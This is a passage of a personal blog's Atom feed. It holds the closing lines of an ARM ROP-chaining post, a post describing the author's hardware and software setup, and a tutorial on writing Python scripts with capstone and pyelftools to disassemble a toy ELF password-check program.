trick.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;conclusion&#34;&gt;Conclusion&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;This was a fairly basic challenge, with everything laid out conveniently.&#xA;Actual ropchaining is a little more involved, with a lot more gadgets to be chained&#xA;to acheive code execution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hopefully, Ill get around to writing about heap exploitation on ARM too. Thats all for now.&lt;/p&gt;&#xA;</summary>
</entry>
<entry>
<title>My setup</title>
<updated>2019-05-13T00:00:00Z</updated>
<id>tag:icyphox.sh/,2019-05-13:blog/my-setup</id>
<link href="https://icyphox.sh/blog/my-setup"></link>
<summary type="html">&lt;h2&gt;My daily drivers—hardware, software and workflow&lt;/h2&gt;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;: I now maintain a &lt;a href=&#34;/uses&#34;&gt;uses&lt;/a&gt; page. This post is out of&#xA;date.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;hardware&#34;&gt;Hardware&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The only computer I have with me is my &lt;a href=&#34;https://store.hp.com/us/en/mdp/laptops/envy-13&#34; rel=&#34;nofollow&#34;&gt;HP Envy 13&#xA;(2018)&lt;/a&gt; (my model looks&#xA;a little different). Its a 13” ultrabook, with an i5 8250u, 8 gigs of&#xA;RAM and a 256 GB NVMe SSD. Its a very comfy machine that does&#xA;everything I need it to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For my phone, I use a &lt;a href=&#34;https://www.oneplus.in/6t&#34; rel=&#34;nofollow&#34;&gt;OnePlus 6T&lt;/a&gt;, running&#xA;stock &lt;a href=&#34;https://www.oneplus.in/oxygenos&#34; rel=&#34;nofollow&#34;&gt;OxygenOS&lt;/a&gt;. As of this writing,&#xA;its bootloader hasnt been unlocked and nor has the device been rooted.&#xA;Im also a proud owner of a &lt;a href=&#34;https://en.wikipedia.org/wiki/Nexus_5&#34; rel=&#34;nofollow&#34;&gt;Nexus&#xA;5&lt;/a&gt;, which I really wish Google&#xA;rebooted. Its surprisingly still usable and runs Android Pie, although&#xA;the SIM slot is ruined and the battery backup is abysmal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My watch is a &lt;a href=&#34;https://www.samsung.com/in/wearables/gear-s3-frontier-r760/&#34; rel=&#34;nofollow&#34;&gt;Samsung Gear S3&#xA;Frontier&lt;/a&gt;.&#xA;Tizen is definitely better than Android Wear.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My keyboard, although not with me in college, is a very old &lt;a href=&#34;https://www.amazon.com/Dell-Keyboard-Model-SK-8110-Interface/dp/B00366HMMO&#34; rel=&#34;nofollow&#34;&gt;Dell&#xA;SK-8110&lt;/a&gt;.&#xA;For the little bit of gaming that I do, I use a &lt;a href=&#34;https://www.hpshopping.in/hp-m150-gaming-mouse-3dr63pa.html&#34; rel=&#34;nofollow&#34;&gt;HP&#xA;m150&lt;/a&gt;&#xA;gaming mouse. Its the perfect size (and color).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For my music, I use the &lt;a href=&#34;https://www.boseindia.com/en_in/products/headphones/over_ear_headphones/soundlink-around-ear-wireless-headphones-ii.html&#34; rel=&#34;nofollow&#34;&gt;Bose SoundLink&#xA;II&lt;/a&gt;.&#xA;Great pair of headphones, although the ear cups need replacing.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;and-the-software&#34;&gt;And the software&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;del&gt;My distro of choice for the past ~1 year has been &lt;a href=&#34;https://elementary.io&#34; rel=&#34;nofollow&#34;&gt;elementary&#xA;OS&lt;/a&gt;. I used to be an Arch Linux elitist, complete&#xA;with an esoteric window manager, all riced. I now use whatever&#xA;JustWorks™.&lt;/del&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;: As of June 2019, I&amp;rsquo;ve switched over to a vanilla Debian&#xA;9 Stretch install, running &lt;a href=&#34;https://i3wm.org&#34; rel=&#34;nofollow&#34;&gt;i3&lt;/a&gt; as my window manager.&#xA;If you want, you can dig through my configs at my&#xA;&lt;a href=&#34;https://github.com/icyphox/dotfiles&#34; rel=&#34;nofollow&#34;&gt;dotfiles&lt;/a&gt; repo.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Heres a (riced) screenshot of my desktop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&#34;https://i.redd.it/jk574gworp331.png&#34; alt=&#34;scrot&#34; /&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most of my work is done in either the browser, or the terminal. My shell&#xA;is pure &lt;a href=&#34;http://www.zsh.org&#34; rel=&#34;nofollow&#34;&gt;zsh&lt;/a&gt;, as in no plugin frameworks. Its&#xA;customized using built-in zsh functions. Yes, you dont actually need&#xA;a framework. Its useless bloat. The prompt itself is generated using&#xA;a framework I built in &lt;a href=&#34;https://nim-lang.org&#34; rel=&#34;nofollow&#34;&gt;Nim&lt;/a&gt;&amp;mdash;&lt;a href=&#34;https://github.com/icyphox/nicy&#34; rel=&#34;nofollow&#34;&gt;nicy&lt;/a&gt;. My primary text editor is&#xA;&lt;a href=&#34;https://neovim.org&#34; rel=&#34;nofollow&#34;&gt;nvim&lt;/a&gt;. Again, all configs in my dotfiles repo&#xA;linked above. I manage all my passwords using&#xA;&lt;a href=&#34;https://passwordstore.org&#34; rel=&#34;nofollow&#34;&gt;pass(1)&lt;/a&gt;, and I use&#xA;&lt;a href=&#34;https://github.com/carnager/rofi-pass&#34; rel=&#34;nofollow&#34;&gt;rofi-pass&lt;/a&gt; to access them via&#xA;&lt;code&gt;rofi&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most of my security tooling is typically run via a Kali Linux docker&#xA;container. This is convenient for many reasons, keeps your global&#xA;namespace clean and a single command to drop into a Kali shell.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use a DigitalOcean droplet (BLR1) as a public filehost, found at&#xA;&lt;a href=&#34;https://cdn.icyphox.sh&#34; rel=&#34;nofollow&#34;&gt;cdn.icyphox.sh&lt;/a&gt;. The UI is the wonderful&#xA;&lt;a href=&#34;https://github.com/zeit/serve&#34; rel=&#34;nofollow&#34;&gt;serve&lt;/a&gt;, by &lt;a href=&#34;https://zeit.co&#34; rel=&#34;nofollow&#34;&gt;ZEIT&lt;/a&gt;. The&#xA;same box also serves as my IRC bouncer and OpenVPN (TCP), which I tunnel&#xA;via SSH running on 443. Campus firewall woes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I plan on converting my desktop back at home into a homeserver setup.&#xA;pSoon™.&lt;/p&gt;&#xA;</summary>
</entry>
<entry>
<title>Python for Reverse Engineering</title>
<updated>2019-02-08T00:00:00Z</updated>
<id>tag:icyphox.sh/,2019-02-08:blog/python-for-re-1</id>
<link href="https://icyphox.sh/blog/python-for-re-1"></link>
<summary type="html">&lt;h2&gt;Building your own disassembly tooling forthats rightfun and profit&lt;/h2&gt;&#xA;&lt;p&gt;While solving complex reversing challenges, we often use established tools like radare2 or IDA for disassembling and debugging. But there are times when you need to dig in a little deeper and understand how things work under the hood.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rolling your own disassembly scripts can be immensely helpful when it comes to automating certain processes, and eventually build your own homebrew reversing toolchain of sorts. At least, thats what Im attempting anyway.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;setup&#34;&gt;Setup&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;As the title suggests, youre going to need a Python 3 interpreter before&#xA;anything else. Once youve confirmed beyond reasonable doubt that you do,&#xA;in fact, have a Python 3 interpreter installed on your system, run&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code class=&#34;language-console&#34;&gt;$ pip install capstone pyelftools&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where &lt;code&gt;capstone&lt;/code&gt; is the disassembly engine well be scripting with and &lt;code&gt;pyelftools&lt;/code&gt; to help parse ELF files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With that out of the way, lets start with an example of a basic reversing&#xA;challenge.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code class=&#34;language-c&#34;&gt;/* chall.c */&#xA;&#xA;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;stdlib.h&amp;gt;&#xA;#include &amp;lt;string.h&amp;gt;&#xA;&#xA;int main() {&#xA; char *pw = malloc(9);&#xA; pw[0] = &#39;a&#39;;&#xA; for(int i = 1; i &amp;lt;= 8; i++){&#xA; pw[i] = pw[i - 1] + 1;&#xA; }&#xA; pw[9] = &#39;\0&#39;;&#xA; char *in = malloc(10);&#xA; printf(&amp;quot;password: &amp;quot;);&#xA; fgets(in, 10, stdin); // &#39;abcdefghi&#39;&#xA; if(strcmp(in, pw) == 0) {&#xA; printf(&amp;quot;haha yes!\n&amp;quot;);&#xA; }&#xA; else {&#xA; printf(&amp;quot;nah dude\n&amp;quot;);&#xA; }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Compile it with GCC/Clang:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code class=&#34;language-console&#34;&gt;$ gcc chall.c -o chall.elf&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2 id=&#34;scripting&#34;&gt;Scripting&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;For starters, lets look at the different sections present in the binary.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code class=&#34;language-python&#34;&gt;# sections.py&#xA;&#xA;from elftools.elf.elffile import ELFFile&#xA;&#xA;with open(&#39;./chall.elf&#39;, &#39;rb&#39;) as f:&#xA; e = ELFFile(f)&#xA; for section in e.iter_sections():&#xA; print(hex(section[&#39;sh_addr&#39;]), section.name)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This script iterates through all the sections and also shows us where its loaded. This will be pretty useful later. Running it gives us&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code class=&#34;language-console&#34;&gt; python sections.py&#xA;0x238 .interp&#xA;0x254 .note.ABI-tag&#xA;0x274 .note.gnu.build-id&#xA;0x298 .gnu.hash&#xA;0x2c0 .dynsym&#xA;0x3e0 .dynstr&#xA;0x484 .gnu.version&#xA;0x4a0 .gnu.version_r&#xA;0x4c0 .rela.dyn&#xA;0x598 .rela.plt&#xA;0x610 .init&#xA;0x630 .plt&#xA;0x690 .plt.got&#xA;0x6a0 .text&#xA;0x8f4 .fini&#xA;0x900 .rodata&#xA;0x924 .eh_frame_hdr&#xA;0x960 .eh_frame&#xA;0x200d98 .init_array&#xA;0x200da0 .fini_array&#xA;0x200da8 .dynamic&#xA;0x200f98 .got&#xA;0x201000 .data&#xA;0x201010 .bss&#xA;0x0 .comment&#xA;0x0 .symtab&#xA;0x0 .strtab&#xA;0x0 .shstrtab&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Most of these arent relevant to us, but a few sections here are to be noted. The &lt;code&gt;.text&lt;/code&gt; section contains the instructions (opcodes) that were after. The &lt;code&gt;.data&lt;/code&gt; section should have strings and constants initialized at compile time. Finally, the &lt;code&gt;.plt&lt;/code&gt; which is the Procedure Linkage Table and the &lt;code&gt;.got&lt;/code&gt;, the Global Offset Table. If youre unsure about what these mean, read up on the ELF format and its internals.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since we know that the &lt;code&gt;.text&lt;/code&gt; section has the opcodes, lets disassemble the binary starting at that address.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code class=&#34;language-python&#34;&gt;# disas1.py&#xA;&#xA;from elftools.elf.elffile import ELFFile&#xA;from capstone import *&#xA;&#xA;with open(&#39;./bin.elf&#39;, &#39;rb&#39;) as f:&#xA; elf = ELFFile(f)&#xA; code = elf.get_section_by_name(&#39;.text&#39;)&#xA; ops = code.data()&#xA; addr = code[&#39;sh_addr&#39;]&#xA; md = Cs(CS_ARCH_X86, CS_MODE_64)&#xA; for i in md.disasm(ops, addr): &#xA; print(f&#39;0x{i.address:x}:\t{i.mnemonic}\t{i.op_str}&#39;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The code is fairly straightforward (I think). We should be seeing this, on running&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code class=&#34;language-console&#34;&gt; python disas1.py | less &#xA;0x6a0: xor ebp, ebp&#xA;0x6a2: mov r9, rdx&#xA;0x6a5: pop rsi&#xA;0x6a6: mov rdx, rsp&#xA;0x6a9: and rsp, 0xfffffffffffffff0&#xA;0x6ad: push rax&#xA;0x6ae: push rsp&#xA;0x6af: lea r8, [rip + 0x23a]&#xA;0x6b6: lea rcx, [rip + 0x1c3]&#xA;0x6bd: lea rdi, [rip + 0xe6]&#xA;**0x6c4: call qword ptr [rip + 0x200916]**&#xA;0x6ca: hlt&#xA;... snip ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The line in bold is fairly interesting to us. The address at &lt;code&gt;[rip + 0x200916]&lt;/code&gt; is equivalent to &lt;code&gt;[0x6ca + 0x200916]&lt;/code&gt;, which in turn evaluates to &lt;code&gt;0x200fe0&lt;/code&gt;. The first &lt;code&gt;call&lt;/code&gt; being made to a function at &lt;code&gt;0x200fe0&lt;/code&gt;? What could this function be?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For this, we will have to look at &lt;strong&gt;relocations&lt;/strong&gt;. Quoting &lt;a href=&#34;http://refspecs.linuxbase.org/elf/gabi4+/ch4.reloc.html&#34; rel=&#34;nofollow&#34;&gt;linuxbase.org&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Relocation is the process of connecting symbolic references with symbolic definitions. For example, when a program calls a function, the associated call instruction must transfer control to the proper destination address at execution. Relocatable files must have “relocation entries which are necessary because they contain information that describes how to modify their section contents, thus allowing executable and shared object files to hold the right information for a processs program image.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;To try and find these relocation entries, we write a third script.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code class=&#34;language-python&#34;&gt;# relocations.py&#xA;&#xA;import sys&#xA;from elftools.elf.elffile import ELFFile&#xA;from elftools.elf.relocation import RelocationSection&#xA;&#xA;with open(&#39;./chall.elf&#39;, &#39;rb&#39;) as f:&#xA; e = ELFFile(f)&#xA; for section in e.iter_sections():&#xA; if isinstance(section, RelocationSection):&#xA; print(f&#39;{section.name}:&#39;)&#xA; symbol_table = e.get_section(section[&#39;sh_link&#39;])&#xA; for relocation in section.iter_relocations():&#xA; symbol = symbol_table.get_symbol(relocation[&#39;r_info_sym&#39;])&#xA; addr = hex(relocation[&#39;r_offset&#39;])&#xA; print(f&#39;{symbol.name} {addr}&#39;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Lets run through this code real quick. We first loop through the sections, and check if its of the type &lt;code&gt;RelocationSection&lt;/code&gt;. We then iterate through the relocations from the symbol table for each section. Finally, running this gives us&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code class=&#34;language-console&#34;&gt; python relocations.py&#xA;.rela.dyn:&#xA; 0x200d98&#xA; 0x200da0&#xA; 0x201008&#xA;_ITM_deregisterTMCloneTable 0x200fd8&#xA;**__libc_start_main 0x200fe0**&#xA;__gmon_start__ 0x200fe8&#xA;_ITM_registerTMCloneTable 0x200ff0&#xA;__cxa_finalize 0x200ff8&#xA;stdin 0x201010&#xA;.rela.plt:&#xA;puts 0x200fb0&#xA;printf 0x200fb8&#xA;fgets 0x200fc0&#xA;strcmp 0x200fc8&#xA;malloc 0x200fd0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Remember the function call at &lt;code&gt;0x200fe0&lt;/code&gt; from earlier? Yep, so that was a call to the well known &lt;code&gt;__libc_start_main&lt;/code&gt;. Again, according to &lt;a href=&#34;http://refspecs.linuxbase.org/LSB_3.1.0/LSB-generic/LSB-generic/baselib -- libc-start-main-.html&#34; rel=&#34;nofollow&#34;&gt;linuxbase.org&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;The &lt;code&gt;__libc_start_main()&lt;/code&gt; function shall perform any necessary initialization of the execution environment, call the &lt;em&gt;main&lt;/em&gt; function with appropriate arguments, and handle the return from &lt;code&gt;main()&lt;/code&gt;. If the &lt;code&gt;main()&lt;/code&gt; function returns, the return value shall be passed to the &lt;code&gt;exit()&lt;/code&gt; function.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;And its definition is like so&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code class=&#34;language-c&#34;&gt;int __libc_start_main(int *(main) (int, char * *, char * *), &#xA;int argc, char * * ubp_av, &#xA;void (*init) (void), &#xA;void (*fini) (void), &#xA;void (*rtld_fini) (void), &#xA;void (* stack_end));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Looking back at our disassembly&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x6a0: xor ebp, ebp&#xA;0x6a2: mov r9, rdx&#xA;0x6a5: pop rsi&#xA;0x6a6: mov rdx, rsp&#xA;0x6a9: and rsp, 0xfffffffffffffff0&#xA;0x6ad: push rax&#xA;0x6ae: push rsp&#xA;0x6af: lea r8, [rip + 0x23a]&#xA;0x6b6: lea rcx, [rip + 0x1c3]&#xA;**0x6bd: lea rdi, [rip + 0xe6]**&#xA;0x6c4: call qword ptr [rip + 0x200916]&#xA;0x6ca: hlt&#xA;... snip ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but this time, at the &lt;code&gt;lea&lt;/code&gt; or Load Effective Address instruction, which loads some address &lt;code&gt;[rip + 0xe6]&lt;/code&gt; into the &lt;code&gt;rdi&lt;/code&gt; register. &lt;code&gt;[rip + 0xe6]&lt;/code&gt; evaluates to &lt;code&gt;0x7aa&lt;/code&gt; which happens to be the address of our &lt;code&gt;main()&lt;/code&gt; function! How do I know that? Because &lt;code&gt;__libc_start_main()&lt;/code&gt;, after doing whatever it does, eventually jumps to the function at &lt;code&gt;rdi&lt;/code&gt;, which is generally the &lt;code&gt;main()&lt;/code&gt; function. It looks something like this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&#34;https://cdn-images-1.medium.com/max/800/0*oQA2MwHjhzosF8ZH.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To see the disassembly of &lt;code&gt;main&lt;/code&gt;, seek to &lt;code&gt;0x7aa&lt;/code&gt; in the output of the script wed written earlier (&lt;code&gt;disas1.py&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From what we discovered earlier, each &lt;code&gt;call&lt;/code&gt; instruction points to some function which we can see from the relocation entries. So following each &lt;code&gt;call&lt;/code&gt; into their relocations gives us this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;printf 0x650&#xA;fgets 0x660&#xA;strcmp 0x670&#xA;malloc 0x680&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Putting all this together, things start falling into place. Let me highlight the key sections of the disassembly here. Its pretty self-explanatory.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x7b2: mov edi, 0xa ; 10&#xA;0x7b7: call 0x680 ; malloc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The loop to populate the &lt;code&gt;*pw&lt;/code&gt; string&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x7d0: mov eax, dword ptr [rbp - 0x14]&#xA;0x7d3: cdqe &#xA;0x7d5: lea rdx, [rax - 1]&#xA;0x7d9: mov rax, qword ptr [rbp - 0x10]&#xA;0x7dd: add rax, rdx&#xA;0x7e0: movzx eax, byte ptr [rax]&#xA;0x7e3: lea ecx, [rax + 1]&#xA;0x7e6: mov eax, dword ptr [rbp - 0x14]&#xA;0x7e9: movsxd rdx, eax&#xA;0x7ec: mov rax, qword ptr [rbp - 0x10]&#xA;0x7f0: add rax, rdx&#xA;0x7f3: mov edx, ecx&#xA;0x7f5: mov byte ptr [rax], dl&#xA;0x7f7: add dword ptr [rbp - 0x14], 1&#xA;0x7fb: cmp dword ptr [rbp - 0x14], 8&#xA;0x7ff: jle 0x7d0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And this looks like our &lt;code&gt;strcmp()&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x843: mov rdx, qword ptr [rbp - 0x10] ; *in&#xA;0x847: mov rax, qword ptr [rbp - 8] ; *pw&#xA;0x84b: mov rsi, rdx &#xA;0x84e: mov rdi, rax&#xA;0x851: call 0x670 ; strcmp &#xA;0x856: test eax, eax ; is = 0? &#xA;0x858: jne 0x868 ; no? jump to 0x868&#xA;0x85a: lea rdi, [rip + 0xae] ; &amp;quot;haha yes!&amp;quot; &#xA;0x861: call 0x640 ; puts&#xA;0x866: jmp 0x874&#xA;0x868: lea rdi, [rip + 0xaa] ; &amp;quot;nah dude&amp;quot;&#xA;0x86f: call 0x640 ; puts &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Im not sure why it uses &lt;code&gt;puts&lt;/code&gt; here? I might be missing something; perhaps &lt;code&gt;printf&lt;/code&gt; calls &lt;code&gt;puts&lt;/code&gt;. I could be wrong. I also confirmed with radare2 that those locations are actually the strings “haha yes!” and “nah dude”.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;: It&amp;rsquo;s because of compiler optimization. A &lt;code&gt;printf()&lt;/code&gt; (in this case) is seen as a bit overkill, and hence gets simplified to a &lt;code&gt;puts()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;conclusion&#34;&gt;Conclusion&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Wew, that took quite some time. But were done. If youre a beginner, you might find this extremely confusing, or probably didnt even understand what was going on. And thats okay. Building an intuition for reading and grokking disassembly comes with practice. Im no good at it either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All the code used in this post is here: &lt;a href=&#34;https://github.com/icyphox/asdf/tree/master/reversing-elf&#34; rel=&#34;nofollow&#34;&gt;https://github.com/icyphox/asdf/tree/master/reversing-elf&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ciao for now, and Ill see ya in #2 of this series&amp;mdash;PE binaries. Whenever that is.&lt;/p&gt;&#xA;</summary>
</entry>
</feed>